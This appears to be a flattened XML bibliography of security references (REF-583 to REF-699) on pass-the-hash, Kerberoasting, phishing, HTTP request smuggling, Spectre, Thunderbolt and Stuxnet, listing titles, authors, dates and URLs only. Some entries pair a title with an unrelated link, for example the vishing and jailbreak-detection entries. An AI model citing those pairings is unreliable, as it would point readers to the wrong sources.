https://docs.microsoft.com/en-us/previous-versions/dn785092(v=msdn.10)?redirectedfrom=MSDN + + + + + 2020-05-07 + + + + + + + + + + + + #indExternalReferencePassTheHashAttacksToolsAndMitigation + Pass-the-hash attacks: Tools and Mitigation + + + + + + + + + REF-583 + + + + + Bashar Ewaida + + + + + Pass-the-hash attacks: Tools and Mitigation + + + + + 2010 + + + + + 2 + + + + + 23 + + + + + The SANS Institute + + + + + https://www.sans.org/reading-room/whitepapers/testing/paper/33283 + + + + + 2020-05-07 + + + + + + + + + + + + #indExternalReferenceBRONZEBUTLERTargetsJapaneseEnterprises + BRONZE BUTLER Targets Japanese Enterprises + + + + + + + + + REF-584 + + + + + BRONZE BUTLER Targets Japanese Enterprises + + + + + 2017 + + + + + 10 + + + + + 12 + + + + + Secureworks® Counter Threat Unit™ Threat Intelligence + + + + + https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses + + + + + 2020-05-15 + + + + + + + + + + + + #indExternalReferenceKerberoastingWithoutMimikatz + Kerberoasting Without Mimikatz + + + + + + + + + REF-585 + + + + + Kerberoasting Without Mimikatz + + + + + 2016 + + + + + 11 + + + + + 1 + + + + + https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/ + + + + + 2020-05-15 + + + + + + + + + + + + #indExternalReferenceInvokeKerberoast + Invoke-Kerberoast + + + + + + + + + REF-586 + + + + + Invoke-Kerberoast + + + + + https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/ + + + + + 2020-05-15 + + + + + + + + + + + + #indExternalReferenceMD5ConsideredHarmfulToday + MD5 considered harmful today + + + + + + + + + REF-587 + + + + + Alexander Sotirov + + + + + Marc Stevens + + + + + Jacob Appelbaum + + + + + Arjen Lenstra + + + + + David Molnar + + + + + Dag Arne Osvik + + + + + Benne de Weger + + + + + MD5 considered harmful today + + + + + 2009 + + + + + 12 + + + + + https://www.win.tue.nl/hashclash/rogue-ca/#Ref + + + + + 2020-06-04 + + + + + + + + + + + + #indExternalReferenceTheHardwareTrojanWarAttacksMythsAndDefenses + The Hardware Trojan War: Attacks, Myths, and Defenses + + + + + + + + + REF-588 + + + + + Swarup Bhunia + + + + + Mark M. Tehranipoor + + + + + The Hardware Trojan War: Attacks, Myths, and Defenses + + + + + 2017 + + + + + 11 + + + + + 30 + + + + + Springer + + + + + + + + + + + + #indExternalReferenceExploitingTheDebugInterfaceToSupportOnLineTestOfControlFlowErrors + Exploiting the debug interface to support on-line test of control flow errors + + + + + + + + + REF-589 + + + + + Boyang Du + + + + + Matteo Sonza Reorda + + + + + Luca Sterpone + + + + + Luis Parra + + + + + Marta Portela-Garcia + + + + + Almudena Lindoso + + + + + Luis Entrena + + + + + Exploiting the debug interface to support on-line test of control flow errors + + + + + 2013 + + + + + 7 + + + + + 8 + + + + + Institute of Electrical and Electronics Engineers (IEEE) + + + + + https://ieeexplore.ieee.org/document/6604058/authors#authors + + + + + 2020-07-13 + + + + + + + + + + + + #indExternalReferenceWhatIsSmishing? + What is smishing? + + + + + + + + + REF-590 + + + + + What is smishing? + + + + + 2018 + + + + + 1 + + + + + 18 + + + + + NortonLifeLock Inc. + + + + + https://us.norton.com/internetsecurity-emerging-threats-what-is-smishing.html + + + + + 2020-11-13 + + + + + + + + + + + + #indExternalReferenceWhatIsSmishingAndHowToDefendAgainstIt? + What is Smishing and How to Defend Against it? + + + + + + + + + REF-591 + + + + + What is Smishing and How to Defend Against it? + + + + + AO Kaspersky Lab + + + + + https://usa.kaspersky.com/resource-center/threats/what-is-smishing-and-how-to-defend-against-it + + + + + 2020-11-13 + + + + + + + + + + + + #indExternalReferenceSomethingElseIsPhishyHowToDetectPhishingAttemptsOnMobilePhones + Something else is phishy: How to detect phishing attempts on mobile phones + + + + + + + + + REF-592 + + + + + Jovi Umawing + + + + + Something else is phishy: How to detect phishing attempts on mobile phones + + + + + 2018 + + + + + 12 + + + + + 10 + + + + + Malwarebytes + + + + + https://blog.malwarebytes.com/101/2018/12/something-else-phishy-detect-phishing-attempts-mobile/ + + + + + 2020-11-13 + + + + + + + + + + + + #indExternalReference5MostCommonMobilePhishingTactics + 5 most common mobile phishing tactics + + + + + + + + + REF-593 + + + + + Aaron Cockerill + + + + + 5 most common mobile phishing tactics + + + + + 2020 + + + + + 4 + + + + + 17 + + + + + AT&T Cybersecurity + + + + + https://cybersecurity.att.com/blogs/security-essentials/mobile-phishing + + + + + 2020-11-13 + + + + + + + + + + + + #indExternalReferenceWhatIsVishing?TipsForSpottingAndAvoidingVoiceScams + What is vishing? Tips for spotting and avoiding voice scams + + + + + + + + + REF-594 + + + + + Jennifer van der Kleut + + + + + What is vishing? Tips for spotting and avoiding voice scams + + + + + NortonLifeLock Inc. + + + + + https://ieeexplore.ieee.org/document/6604058/authors#authors + + + + + 2020-11-13 + + + + + + + + + + + + #indExternalReferenceWhatIsVishing? + What Is Vishing? + + + + + + + + + REF-595 + + + + + What Is Vishing? + + + + + AO Kaspersky Lab + + + + + https://www.kaspersky.com/resource-center/definitions/vishing + + + + + 2020-11-13 + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-596 + + + + + OWASP Web Security Testing Guide + + + + + The Open Web Application Security Project (OWASP) + + + + + https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account.html + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-597 + + 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https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/06-Testing_for_Browser_Cache_Weaknesses.html + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-600 + + + + + OWASP Web Security Testing Guide + + + + + The Open Web Application Security Project (OWASP) + + + + + https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/03-Testing_for_Privilege_Escalation.html + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-601 + + + + + OWASP Web Security Testing Guide + + + + + The Open Web Application Security Project (OWASP) + + + + + https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/03-Testing_for_Session_Fixation.html + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-602 + + + + + OWASP Web Security Testing Guide + + + + + The Open Web Application Security Project (OWASP) + + + + + https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery.html + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-603 + + + + + OWASP Web Security Testing Guide + + + + + The Open Web Application Security Project (OWASP) + + + + + https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/09-Testing_for_Session_Hijacking.html + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-604 + + + + + OWASP Web Security Testing Guide + + + + + The Open Web Application Security Project (OWASP) + + + + + https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting.html + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-605 + + + + + OWASP Web Security Testing Guide + + + + + The Open Web Application Security Project (OWASP) + + + + + https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting.html + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-606 + + + + + OWASP Web Security Testing Guide + + + + + The Open Web Application Security Project (OWASP) + + + + + https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/04-Testing_for_HTTP_Parameter_Pollution.html + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-607 + + + + + OWASP Web Security Testing Guide + + + + + The Open Web Application Security Project (OWASP) + + + + + https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection.html + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-608 + + + + + OWASP Web Security Testing Guide + + + + + The Open Web Application Security Project (OWASP) + + + + + https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/06-Testing_for_LDAP_Injection.html + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-609 + + + + + OWASP Web Security Testing Guide + + + + + The Open Web Application Security Project (OWASP) + + + + + https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection.html + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-610 + + + + + OWASP Web Security Testing Guide + + + + + The Open Web Application Security Project (OWASP) + + + + + https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/08-Testing_for_SSI_Injection.html + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-611 + + + + + OWASP Web Security Testing Guide + + + + + The Open Web Application Security Project (OWASP) + + + + + https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection.html + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-612 + + + + + OWASP Web Security Testing Guide + + + + + The Open Web Application Security Project (OWASP) + + + + + https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11-Testing_for_Code_Injection.html + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-613 + + + + + OWASP Web Security Testing Guide + + + + + The Open Web Application Security Project (OWASP) + + + + + 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https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/15-Testing_for_HTTP_Splitting_Smuggling.html + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-618 + + + + + OWASP Web Security Testing Guide + + + + + The Open Web Application Security Project (OWASP) + + + + + https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting.html + + + + + + + + + + + + #indExternalReferenceOWASPWebSecurityTestingGuide + OWASP Web Security Testing Guide + + + + + + + + + REF-619 + + + + + OWASP Web Security Testing Guide + + + + + The Open Web Application Security Project (OWASP) + + + + + https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking.html + + 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https://owasp.org/www-community/attacks/ + + + + + + + + + + + + #indExternalReferenceFalseSenseOfSecurityAStudyOnTheEffectivityOfJailbreakDetectionInBankingApps + False Sense of Security: A Study on the Effectivity of Jailbreak Detection in Banking Apps + + + + + + + + + REF-624 + + + + + Ansgar Kellner + + + + + Micha Horlboge + + + + + Konrad Rieck + + + + + Christian Wressnegger + + + + + False Sense of Security: A Study on the Effectivity of Jailbreak Detection in Banking Apps + + + + + 2019 + + + + + 6 + + + + + 17 + + + + + Technische Universität Braunschweig + + + + + https://cybersecurity.att.com/blogs/security-essentials/mobile-phishing + + + + + 2020-12-15 + + + + + + + + + + + + #indExternalReferenceAndroidRootingMethodsDetectionAndEvasion + Android Rooting: Methods, Detection, and Evasion + + + + + + + + + REF-625 + + + + + San-Tsai Sun + + + + + Andrea Cuadros + + + + + Konstantin Beznosov + + + + + Android Rooting: Methods, Detection, and Evasion + + + + + 2019 + + + + + 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Browser' Attacks On The Rise + + + + + 2011 + + + + + 2 + + + + + 14 + + + + + Dark Reading, Informa PLC + + + + + https://www.darkreading.com/risk/new-boy-in-the-browser-attacks-on-the-rise/d/d-id/1135247 + + + + + 2021-02-10 + + + + + + + + + + + + #indExternalReferenceManInTheMiddleAttack + Man-in-the-middle attack + + + + + + + + + REF-633 + + + + + Man-in-the-middle attack + + + + + Open Web Application Security Project (OWASP) + + + + + https://owasp.org/www-community/attacks/Man-in-the-middle_attack + + + + + 2021-02-10 + + + + + + + + + + + + #indExternalReferenceWhatIsAManInTheMiddleAttack? + What is a man-in-the-middle attack? + + + + + + + + + REF-634 + + + + + Kyle Chivers + + + + + What is a man-in-the-middle attack? + + + + + 2020 + + + + + 3 + + + + + 26 + + + + + NortonLifeLock Inc. + + + + + https://us.norton.com/internetsecurity-wifi-what-is-a-man-in-the-middle-attack.html + + + + + 2021-02-10 + + + + + + + + + + + + #indExternalReferenceManInTheMiddleAttack + Man in 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#indExternalReferenceASystematicEvaluationOfTransientExecutionAttacksAndDefenses + A Systematic Evaluation of Transient Execution Attacks and Defenses + + + + + + + + + REF-639 + + + + + Claudio Canella + + + + + Jo Van Bulck + + + + + Michael Schwarz + + + + + Moritz Lipp + + + + + Benjamin von Berg + + + + + Philipp Ortner + + + + + Frank Piessens + + + + + Dmitry Evtyushkin + + + + + Daniel Gruss + + + + + A Systematic Evaluation of Transient Execution Attacks and Defenses + + + + + 2019 + + + + + 5 + + + + + 15 + + + + + Graz University of Technology + + + + + https://arxiv.org/abs/1811.05441 + + + + + 2021-03-05 + + + + + + + + + + + + #indExternalReferenceASurveyOfMicroarchitecturalTimingAttacksAndCountermeasuresOnContemporaryHardware + A Survey of Microarchitectural Timing Attacks and Countermeasures on Contemporary Hardware + + + + + + + + + REF-640 + + + + + Qian Ge + + + + + Yuval Yarom + + + + + Gernot Heiser + + + + + A Survey of Microarchitectural Timing Attacks and Countermeasures on Contemporary Hardware + + + + + 2016 + + + + + 12 + + + + + 26 + + + + + Journal of Cryptographic Engineering + + + + + https://eprint.iacr.org/2016/613.pdf + + + + + 2021-03-05 + + + + + + + + + + + + #indExternalReferenceHowTheSpectreAndMeltdownHacksReallyWorked + How the Spectre and Meltdown Hacks Really Worked + + + + + + + + + REF-641 + + + + + Nael Abu-Ghazaleh + + + + + Dmitry Ponomarev + + + + + Dmitry Evtyushkin + + + + + How the Spectre and Meltdown Hacks Really Worked + + + + + 2019 + + + + + 2 + + + + + 28 + + + + + IEEE Spectrum + + + + + https://spectrum.ieee.org/computing/hardware/how-the-spectre-and-meltdown-hacks-really-worked + + + + + 2021-03-05 + + + + + + + + + + + + #indExternalReferenceSpectreAndMeltdownExplainedAComprehensiveGuideForProfessionals + Spectre and Meltdown explained: A comprehensive guide for professionals + + + + + + + + + REF-642 + + + + + James Sanders + + + + + Spectre and Meltdown explained: A comprehensive guide for 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#indExternalReferenceServerSideRequestForgery + Server Side Request Forgery + + + + + + + + + REF-645 + + + + + Server Side Request Forgery + + + + + PortSwigger + + + + + https://portswigger.net/web-security/ssrf + + + + + 2021-05-17 + + + + + + + + + + + + #indExternalReferenceCallStrangerVulnerability + CallStranger Vulnerability + + + + + + + + + REF-646 + + + + + CallStranger Vulnerability + + + + + 2020 + + + + + 6 + + + + + 8 + + + + + Yunus Cadirici + + + + + https://github.com/yunuscadirci/CallStranger + + + + + 2021-05-17 + + + + + + + + + + + + #indExternalReferenceThunderspyWhenLightingStrikesThriceBreakingThunderbolt3Security + Thunderspy When Lighting Strikes Thrice: Breaking Thunderbolt 3 Security + + + + + + + + + REF-647 + + + + + Björn Ruytenberg + + + + + Thunderspy When Lighting Strikes Thrice: Breaking Thunderbolt 3 Security + + + + + 2020 + + + + + Eindhoven University of Technology + + + + + https://thunderspy.io/ + + + + + 2021-05-17 + + + + + + + + + + + + #indExternalReferenceBreakingThunderboltProtocolSecurityVulnerabilityReport + Breaking Thunderbolt Protocol Security: Vulnerability Report + + + + + + + + + REF-648 + + + + + Björn Ruytenberg + + + + + Breaking Thunderbolt Protocol Security: Vulnerability Report + + + + + 2020 + + + + + 4 + + + + + 17 + + + + + Eindhoven University of Technology + + + + + https://thunderspy.io/assets/reports/breaking-thunderbolt-security-bjorn-ruytenberg-20200417.pdf + + + + + 2021-05-17 + + + + + + + + + + + + #indExternalReferenceThunderboltFlawsAffectMillionsOfComputers–EvenLockingUnattendedDevicesWonTHelp + Thunderbolt flaws affect millions of computers – even locking unattended devices won't help + + + + + + + + + REF-649 + + + + + Liam Tung + + + + + Thunderbolt flaws affect millions of computers – even locking unattended devices won't help + + + + + 2020 + + + + + 5 + + + + + 11 + + + + + ZDNet + + + + + https://www.zdnet.com/article/thunderbolt-flaws-affect-millions-of-computers-even-locking-unattended-devices-wont-help/ + + + + + 2021-05-17 + + + + + + + + + + + + #indExternalReferenceMicrosoftWorriedAboutThunderboltAttacks?GetAWindows10SecuredCorePC + Microsoft: Worried about Thunderbolt attacks? Get a Windows 10 Secured-Core PC + + + + + + + + + REF-650 + + + + + Liam Tung + + + + + Microsoft: Worried about Thunderbolt attacks? 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Martin + + + + + Adam G. Pennington + + + + + Christopher L. Sledjeski + + + + + Dr. Craig J. Wiener + + + + + Deliver Uncompromised: Securing Critical Software Supply Chains + + + + + 2021 + + + + + 1 + + + + + The MITRE Corporation + + + + + https://www.mitre.org/publications/technical-papers/deliver-uncompromised-securing-critical-software-supply-chains + + + + + 2021-06-22 + + + + + + + + + + + + #indExternalReferenceSupplyChainAttackPatternsFrameworkAndCatalog + Supply Chain Attack Patterns: Framework and Catalog + + + + + + + + + REF-660 + + + + + Melinda Reed + + + + + John F. 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SUNBURST Backdoor + + + + + 2020 + + + + + 12 + + + + + 13 + + + + + Schneier on Security + + + + + https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html + + + + + 2021-06-24 + + + + + + + + + + + + #indExternalReferenceTestingForNoSQLInjection + Testing for NoSQL Injection + + + + + + + + + REF-668 + + + + + Testing for NoSQL Injection + + + + + The OWASP Foundation + + + + + https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection + + + + + 2021-09-30 + + + + + + + + + + + + #indExternalReferenceNoSqlInjectionCheatsheet + NoSql Injection Cheatsheet + + + + + + + + + REF-669 + + + + + Charlie Belmer + + + + + NoSql Injection Cheatsheet + + + + + 2021 + + + + + 6 + + + + + 7 + + + + + Null Sweep + + + + + https://nullsweep.com/nosql-injection-cheatsheet/ + + + + + 2021-09-30 + + + + + + + + + + + + #indExternalReferenceNoSqlInjectionFunWithObjectsAndArrays + NoSql Injection: Fun with Objects and Arrays + + + + + + + + + REF-670 + + + + + Patrick Spiegel + + + + + NoSql Injection: Fun with Objects and Arrays + + + + + The OWASP Foundation + + + + + https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf + + + + + 2021-09-30 + + + + + + + + + + + + #indExternalReferenceNoSqlInjectionFunWithObjectsAndArraysNoSQLInjectionAttacksAndPreventionTechniques + NoSql Injection: Fun with Objects and ArraysNoSQL Injection Attacks and Prevention Techniques + + + + + + + + + REF-671 + + + + + NoSql Injection: Fun with Objects and ArraysNoSQL Injection Attacks and Prevention Techniques + + + + + 2019 + + + + + 6 + + + + + WebOrion + + + + + https://www.theweborion.com/wp-content/uploads/2019/06/NoSQL-Injection-Attacks-and-Prevention-Techniques.pdf + + + + + 2021-10-11 + + + + + + + + + + + + #indExternalReferenceHTTPRequestSmuggling + HTTP Request Smuggling + + + + + + + + + REF-672 + + + + + Robert Auger + + + + + HTTP Request Smuggling + + + + + 2010 + + + + + 1 + + + + + The Web Application Security Consortium + + + + + http://projects.webappsec.org/w/page/13246928/HTTP%20Request%20Smuggling + + + + + 2021-10-06 + + + + + + + + + + + + #indExternalReferenceHTTPRequestSmugglingCompleteGuideToAttackTypesAndPrevention + HTTP Request Smuggling: Complete Guide to Attack Types and Prevention + + + + + + + + + REF-673 + + + + + Dzevad Alibegovic + + + + + HTTP Request Smuggling: Complete Guide to Attack Types and Prevention + + + + + 2021 + + + + + 8 + + + + + 23 + + + + + NeuraLegion + + + + + https://www.neuralegion.com/blog/http-request-smuggling-hrs/ + + + + + 2021-10-06 + + + + + + + + + + + + #indExternalReferenceAPentester’sGuideToHTTPRequestSmuggling + A Pentester’s Guide to HTTP Request Smuggling + + + + + + + + + REF-674 + + + + + Busra Demir + + + + + A Pentester’s Guide to HTTP Request Smuggling + + + + + 2020 + + + + + 10 + + + + + 15 + + + + + Cobalt + + + + + https://cobalt.io/blog/a-pentesters-guide-to-http-request-smuggling + + + + + 2021-10-06 + + + + + + + + + + + + #indExternalReferenceHTTPResponseSmuggling + HTTP Response Smuggling + + + + + + + + + REF-675 + + + + + Robert Auger + + + + + HTTP Response Smuggling + + + + + 2011 + + + + + 2 + + + + + The Web Application Security Consortium + + + + + http://projects.webappsec.org/w/page/13246930/HTTP%20Response%20Smuggling + + + + + 2021-10-06 + + + + + + + + + + + + #indExternalReferenceMozillaFoundationSecurityAdvisory200633HTTPResponseSmuggling + Mozilla Foundation Security Advisory 2006-33 HTTP response smuggling + + + + + + + + + REF-676 + + + + + Kazuho Oku + + + + + Mozilla Foundation Security Advisory 2006-33 HTTP response smuggling + + + + + 2006 + + + + + 6 + + + + + 1 + + + + + Mozilla Corporation + + + + + https://www.mozilla.org/en-US/security/advisories/mfsa2006-33/ + + + + + 2021-10-06 + + + + + + + + + + + + #indExternalReferenceTestingForHTTPSplittingSmuggling + Testing for HTTP Splitting Smuggling + + + + + + + + + REF-677 + + + + + Testing for HTTP Splitting Smuggling + + + + + Open Web Application Security Project + + + + + https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/15-Testing_for_HTTP_Splitting_Smuggling.html + + + + + 2021-10-06 + + + + + + + + + + + + #indExternalReferenceHTTPDesyncAttacksInTheWildAndHowToDefendAgainstThem + HTTP Desync Attacks in the Wild and How to Defend Against Them + + + + + + + + + REF-678 + + + + + Edi Kogan + + + + + Daniel Kerman + + + + + HTTP Desync Attacks in the Wild and How to Defend Against Them + + + + + 2019 + + + + + 10 + + + + + 29 + + + + + Imperva + + + + + https://www.imperva.com/blog/http-desync-attacks-and-defence-methods/ + + + + + 2021-10-06 + + + + + + + + + + + + #indExternalReferenceHTTPRequestSplitting + HTTP Request Splitting + + + + + + + + + REF-679 + + + + + Robert Auger + + + + + HTTP Request Splitting + + + + + 2011 + + + + + The Web Application Security Consortium + + + + + http://projects.webappsec.org/w/page/13246929/HTTP%20Request%20Splitting + + + + + 2021-10-14 + + + + + + + + + + + + #indExternalReferenceHTTPResponseSplitting + HTTP Response Splitting + + + + + + + + + REF-680 + + + + + Robert Auger + + + + + HTTP Response Splitting + + + + + 2010 + + + + + The Web Application Security Consortium + + + + + http://projects.webappsec.org/w/page/13246931/HTTP%20Response%20Splitting + + + + + 2021-10-14 + + + + + + + + + + + + #indExternalReferenceHTTPDesyncAttacksRequestSmugglingReborn + HTTP Desync Attacks: Request Smuggling Reborn + + + + + + + + + REF-681 + + + + + James Kettle + + + + + HTTP Desync Attacks: Request Smuggling Reborn + + + + + 2019 + + + + + 8 + + + + + 7 + + + + + PortSwigger + + + + + https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn + + + + + 2021-10-06 + + + + + + + + + + + + #indExternalReferenceHTTPRequestSmuggling + HTTP request smuggling + + + + + + + + + REF-682 + + + + + HTTP request smuggling + + + + + PortSwigger + + + + + https://portswigger.net/web-security/request-smuggling + + + + + 2021-10-06 + + + + + + + + + + + + #indExternalReferenceFindingHTTPRequestSmugglingVulnerabilities + Finding HTTP request smuggling vulnerabilities + + + + + + + + + REF-683 + + + + + Finding HTTP request smuggling vulnerabilities + + + + + PortSwigger + + + + + https://portswigger.net/web-security/request-smuggling/finding + + + + + 2021-10-06 + + + + + + + + + + + + #indExternalReferenceExploitingHTTPRequestSmugglingVulnerabilities + Exploiting HTTP request smuggling vulnerabilities + + + + + + + + + REF-684 + + + + + Exploiting HTTP request smuggling vulnerabilities + + + + + PortSwigger + + + + + https://portswigger.net/web-security/request-smuggling/exploiting + + + + + 2021-10-06 + + + + + + + + + + + + #indExternalReferenceKasperskyFindsSophisticatedUEFIMalwareInTheWild + Kaspersky Finds Sophisticated UEFI Malware in the Wild + + + + + + + + + REF-685 + + + + + Kaspersky Finds Sophisticated UEFI Malware in the Wild + + + + + 2020 + + + + + 10 + + + + + 5 + + + + + ExtremeTech + + + + + https://www.extremetech.com/computing/315860-kaspersky-finds-sophisticated-uefi-malware-in-the-wild + + + + + 2021-10-19 + + + + + + + + + + + + #indExternalReferenceWikipedia + Wikipedia + + + + + + + + + REF-686 + + + + + Wikipedia + + + + + The Wikimedia Foundation, Inc + + + + + https://en.wikipedia.org/wiki/Billion_laughs_attack + + + + + 2021-10-19 + + + + + + + + + + + + #indExternalReferenceCortexR4Manual + Cortex-R4 Manual + + + + + + + + + REF-687 + + + + + Cortex-R4 Manual + + + + + ARM + + + + + https://developer.arm.com/ip-products/processors/cortex-m/cortex-m4 + + + + + 2021-10-21 + + + + + + + + + + + + #indExternalReferenceMCS51MicrocontrollerFamilyUserSManual + MCS 51 Microcontroller Family User's Manual + + + + + + + + + REF-688 + + + + + MCS 51 Microcontroller Family User's Manual + + + + + Intel Corporation + + + + + https://web.mit.edu/6.115/www/document/8051.pdf + + + + + 2021-10-21 + + + + + + + + + + + + #indExternalReferenceMemoryProtectionUnit + Memory Protection Unit (MPU) + + + + + + + + + REF-689 + + + + + Memory Protection Unit (MPU) + + + + + ARM + + + + + https://static.docs.arm.com/100699/0100/armv8m_architecture_memory_protection_unit_100699_0100_00_en.pdf + + + + + 2021-10-21 + + + + + + + + + + + + #indExternalReferenceTheMemorySinkhole + The Memory Sinkhole + + + + + + + + + REF-690 + + + + + Christopher Domas + + + + + The Memory Sinkhole + + + + + 2015 + + + + + 7 + + + + + 20 + + + + + https://github.com/xoreaxeaxeax/sinkhole/blob/master/us-15-Domas-TheMemorySinkhole-wp.pdf + + + + + 2021-10-21 + + + + + + + + + + + + #indExternalReferenceAddressRangeMemoryMirroring + Address Range Memory Mirroring + + + + + + + + + REF-691 + + + + + Address Range Memory Mirroring + + + + + 2016 + + + + + 7 + + + + + 13 + + + + + Taku Izumi, Fujitsu Limited + + + + + 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Bug Allegedly Causes Kernel Memory Vulnerability With Up To 30% Performance Hit In Windows And Linux + + + + + 2018 + + + + + 1 + + + + + 2 + + + + + David Altavilla and Hot Hardware, Inc + + + + + https://hothardware.com/news/intel-cpu-bug-kernel-memory-isolation-linux-windows-macos + + + + + 2021-10-21 + + + + + + + + + + + + #indExternalReferencePCIeDeviceMeasurementRequirements + PCIe Device Measurement Requirements + + + + + + + + + REF-694 + + + + + PCIe Device Measurement Requirements + + + + + 2018 + + + + + 9 + + + + + Intel Corporation + + + + + https://www.intel.com/content/dam/www/public/us/en/documents/reference-guides/pcie-device-security-enhancements.pdf + + + + + 2021-10-21 + + + + + + + + + + + + #indExternalReferenceBIOSChronomancyFixingTheCoreRootOfTrustForMeasurement + BIOS Chronomancy: Fixing the Core Root of Trust for Measurement + + + + + + + + + REF-695 + + + + + John Butterworth + + + + + Cory Kallenberg + + + + + Xeno Kovah + + + + + BIOS Chronomancy: Fixing the Core Root of Trust for Measurement + + + + + 2013 + + + + + 7 + + + + + 31 + + + + + https://media.blackhat.com/us-13/US-13-Butterworth-BIOS-Security-Slides.pdf + + + + + 2021-10-21 + + + + + + + + + + + + #indExternalReference11FactsPlusStatsOnSmishingIn2021 + 11 Facts + Stats on Smishing (SMS Phishing) in 2021 + + + + + + + + + REF-696 + + + + + Ben Martens + + + + + 11 Facts + Stats on Smishing (SMS Phishing) in 2021 + + + + + 2021 + + + + + SafetyDetectives + + + + + https://www.safetydetectives.com/blog/what-is-smishing-sms-phishing-facts/ + + + + + 2021-11-23 + + + + + + + + + + + + #indExternalReferenceNewRansomwareOldTechniquesPetyaAddsWormCapabilities + New ransomware, old techniques: Petya adds worm capabilities + + + + + + + + + REF-697 + + + + + Microsoft Defender Security Research Team + + + + + New ransomware, old techniques: Petya adds worm capabilities + + + + + 2017 + + + + + Microsoft + + + + + https://www.microsoft.com/security/blog/2017/06/27/new-ransomware-old-techniques-petya-adds-worm-capabilities/ + + + + + 2022-02-15 + + + + + + + + + + + + #indExternalReferenceCombatingCounterfeitComponentsInTheDoDSupplyChain + Combating Counterfeit Components in the DoD Supply Chain + + + + + + + + + REF-698 + + + + + Paul Wagner + + + + + Combating Counterfeit Components in the DoD Supply Chain + + + + + 2015 + + + + + Defence Systems Information Analysis Center + + + + + https://dsiac.org/articles/combating-counterfeit-components-in-the-dod-supply-chain/ + + + + + 2022-02-15 + + + + + + + + + + + + #indExternalReferenceW32DotStuxnetDossier + W32.Stuxnet Dossier + + + + + + + + + REF-699 + + + + + Nicolas Falliere + + + + + Liam O Murchu + + + + + Eric Chien + + + + + W32.Stuxnet Dossier + + + + + 2010 + + + + + 11 + + + + + Symantec + + + + + 